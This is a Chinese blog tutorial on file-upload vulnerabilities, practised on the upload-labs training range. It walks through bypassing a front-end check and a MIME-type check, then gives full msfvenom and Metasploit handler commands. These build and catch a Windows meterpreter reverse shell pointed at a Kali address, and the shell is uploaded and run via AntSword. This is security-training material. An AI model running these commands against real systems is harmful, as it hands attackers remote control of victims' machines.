简单了解文件上传漏洞(md版)

news2024/12/23 10:34:35

简单了解文件上传漏洞

  • 一、什么是文件上传漏洞
  • 二、常见功能点
  • 三、成功的前提
  • 四、文件上传的校验方式
  • 五、Pass-1
  • 六、Pass-2
  • 七、蚁剑结合msf获取目标权限

一、什么是文件上传漏洞

在文件上传的功能处,如果服务端未对上传的文件进行严格的验证和过滤,导致攻击者可以上传恶意的脚本文件时,就有可能获取执行服务端命令的能力。

二、常见功能点

相册、头像上传、附件上传、文件管理器

三、成功的前提

1、有文件上传的功能

2、文件类型能够上传

3、知道上传的路径

4、上传的文件可以被执行或者被包含

四、文件上传的校验方式

1、前端

  • 前端校验

2、服务端

  • 检查后缀:白名单和黑名单
  • 检查内容:文件头、大小等
  • 其他

3、WAF校验

  • 简单判断是前端过滤还是后端过滤(这里使用到upload-labs靶场)
    • 前端过滤:
    • 在提交非法后缀名的文件时,会直接弹窗提示无法上传,且页面没有刷新。
  • 后端过滤:

五、Pass-1

1、选择要上传的文件,进行上传。

2、发现是前端过滤,打开开发者模式(f12),选中“上传”按钮后,可以看到checkFile()函数。

3、将该函数删掉后,再次点击“上传”按钮。

4、发现上传成功。(这里不知道为什么谷歌浏览器和edge浏览器都不可以,只有火狐浏览器成功了)

5、复制图像链接。

6、访问该链接,看到一片空白,说明上传成功了。

7、使用蚁剑进行链接。

六、Pass-2

1、MIME类型:
	描述消息内容类型的因特网标准。用来表示文档、文件或者字节流的性质和格式。在HTTP数据包中在Content-Type字段显示。

2、常见的MIME类型:

        .html        text/html
        .xml         text/xml
        .png         image/png
        .gif         image/gif
        .jpg         image/jpeg
        .jpeg        image/jpeg

1、查看提示,知道这次是检查文件的MIME类型(这里需要使用到burpsuit抓包工具)。

2、上传文件并开启抓包。

3、修改MIME类型后,点击forward。

4、文件上传成功。

七、蚁剑结合msf获取目标权限

1、利用msfvenom生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.9.142 lport=10086 -f exe -o ryan.exe

注:这里使用到kali,上述命令的lhost是kali的IP地址,lport 为kali机器的端口,可以随意指定。

命令完成后,会生成一个ryan.exe 的文件,将该文件拉取到物理机。

2、 然后启动MSF。

msfconsole

3、 设置监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.9.142                    //kali的IP地址
set lport 10086
run

4、将木马通过蚁剑上传至目标机器

5、通过蚁剑,执行该木马程序


6、成功上传MSF

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/932863.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

系统架构设计高级技能 · 层次式架构设计理论与实践

系列文章目录 系统架构设计高级技能 软件架构概念、架构风格、ABSD、架构复用、DSSA(一)【系统架构设计师】 系统架构设计高级技能 系统质量属性与架构评估(二)【系统架构设计师】 系统架构设计高级技能 软件可靠性分析与设计…

PC上架货源的方式

PC上架货源的方式 第一步建立文档夹 给他发一个snipaste的文件包 1、第一步搜索1688 移动端上架货源的方式 货源上架 弄两个方框,上架货源,先下载软件

基于广义神经网络的网络入侵检测Matlab代码

1.案例背景 1.1 FCM 聚类算法 聚类方法是数据挖掘中经常使用的方法,它将物理的或抽象的对象分为几个种群,每个种群内部个体间具有较高的相似性,不同群体内部间个体相似性较低。模糊c均值聚类算法(Fuzzy C- Mean, FCM)是用隶属度确定每个元素属于某个类别程度的一种聚类算法&am…

[管理与领导-49]:IT基层管理者 - 8项核心技能 - 4 - 团队激励

目录 前言: 一、什么是团队激励 二、为什么需要激励 三、激励的误区 3.1 常见误区 3.2 以下是一些常见的激励错误做法: 四、如何正确地激励 五、关于激励的一些理念 六、常见障碍 前言: 管理者存在的价值就是制定目标,即…

用户端Web自动化测试_L4

目录: selenium多浏览器处理执行 javascript 脚本headless无头浏览器使用capability配置参数解析企业微信实战cypress测试框架介绍Playwright测试框架介绍 1.selenium多浏览器处理 多浏览器测试背景 用户使用的浏览器(firefox,chrome,IE 等)web 应用应该能在任何…

*如何筛选关键词*

*第一步:打开百度,搜索百度指数* *第二步 输入所选择产品的品类* *第三步 找到搜索热度的关键词* *第四步 第一个需要统计的关键词,搜索热度前五的关键词* 建立EXCEL表,写好日期,格式按照 20230206 那一天写得按照这个…

【算法专题突破】双指针 - 复写零(2)

目录 1. 题目解析 2. 算法原理 3. 代码编写 写在最后: 1. 题目解析 题目链接:1089. 复写零 - 力扣(Leetcode) 我先来读题, 题目的意思非常的简单,其实就是, 遇到 0 就复制一个写进数组&a…

mongodb 添加加点 stateStr 停在 STARTUP

解决办法 PRIMARY 节点是的host 是否是内网IP,如果是内网IP 需要切换成外网IP 即可;

ARM开发,stm32mp157a-A7核中断实验(实现按键中断功能)

1.实验目的:实现KEY1/LEY2/KE3三个按键,中断触发打印一句话,并且灯的状态取反; key1 ----> LED3灯状态取反; key2 ----> LED2灯状态取反; key3 ----> LED1灯状态取反; 2.分析框图: …

STL-常用容器-Vector容器(数组)

1 vector基本概念 功能: vector数据结构和数组非常相似,也称为单端数组 vector与普通数组区别: 不同之处在于数组是静态空间,而vector可以动态扩展 动态扩展: 并不是在原空间之后续接新空间,而是找更大…

谷歌面试-扔鸡蛋

今天想跟大家分享一个有意思的面试题,这让我再一次感叹思维的奇妙,接下来我们一起看看吧~ 首先来看看题目: 你有2颗鸡蛋,需要以最少的尝试次数来判断在100层的高楼上,哪一层楼是鸡蛋的安全层。 换句话说&#xff0c…

如何在地图上寻找最密集点的位置?

最近我在工作中遇到了一个小的需求点,大概是需要在地图上展示出一堆点中的点密度最密集的位置。最开始没想到好的方法,就使用了一个非常简单的策略——所有点的坐标求平均值,这个方法大部分的时候好用,因为大部分城市所有点位基本…

深度学习6:自然语言处理-Natural language processing | NLP

目录 NLP 为什么重要? 什么是自然语言处理 – NLP NLP 的2大核心任务 自然语言理解 – NLU|NLI 自然语言生成 – NLG NLP(自然语言处理) 的5个难点 NLP 的4个典型应用 NLP 的 2 种途径、3 个核心步骤 总结 自然语言处理 NLP 为什么重要? “语言…

React入门 组件学习笔记

项目页面以组件形式层层搭起来,组件提高复用性,可维护性 目录 一、函数组件 二、类组件 三、 组件的事件绑定 四、获取事件对象 五、事件绑定传递额外参数 六、组件状态 初始化状态 读取状态 修改状态 七、组件-状态修改counter案例 八、this问…

4.16 TCP 协议有什么缺陷?

目录 升级 TCP 的工作很困难 TCP 建立连接的延迟 TCP 存在队头阻塞问题 网络迁移需要重新建立 TCP 连接 升级 TCP 的工作很困难;TCP 建立连接的延迟;TCP 存在队头阻塞问题;网络迁移需要重新建立 TCP 连接; 升级 TCP 的工作很…

Docker(md版)

Docker 一、Docker二、更换apt源三、docker搭建四、停启管理五、配置加速器5.1、方法一5.2、方法二 六、使用docker运行漏洞靶场1、拉取tomcat8镜像2、拉取成功3、开启服务4、查看kali的IP地址5、访问靶场6、关闭漏洞靶场 七、vulapps靶场搭建 一、Docker Docker是一个开源的应…

Pushmall 推熵共享电商平台 - 共享链盟

Pushmall 推熵共享电商平台 - 共享链盟以 Pushmall 推熵 B2B/B2C 批零采销订货商城系统为基础,以‘平台自营、供应商入驻、商家自营 商圈链盟 共享会员制,实现 S2B2B2C 商业模式’,是一款为实体商家服务的电商营销推广平台。以 “共创、共生…

算法笔记:球树

1 KD树的问题 算法笔记:KD树_UQI-LIUWJ的博客-CSDN博客 在kd树中,导致性能下降的最核心因素是因为kd-tree中被分割的子空间是一个个的超方体,而求最近邻时使用的是欧式距离(超球)。超方体与超球体相交的可能性是极高…

MTK6833_MT6833核心板_天玑700安卓5G核心板规格性能介绍

MTK6833安卓核心板采用台积电 7nm 制程的5G SoC,2*Cortex-A766*Cortex-A55架构,搭载Android12.0操作系统,主频最高达2.2GHz 。内置 5G 双载波聚合技术(2CC)及双 5G SIM 卡功能,实现优异的功耗表现及实时连网…

基于MATLAB的径向基函数插值(RBF插值)(一维、二维、三维)

基于MATLAB的径向基函数插值(RBF插值)(一维、二维、三维) 0 前言1 RBF思路2 1维RBF函数2.1 参数说明2.1.1 核函数选择2.1.2 作用半径2.1.3 多项式拟合2.1.4 误差项(光滑项) 3 2维RBF函数4 3维RBF函数 惯例声…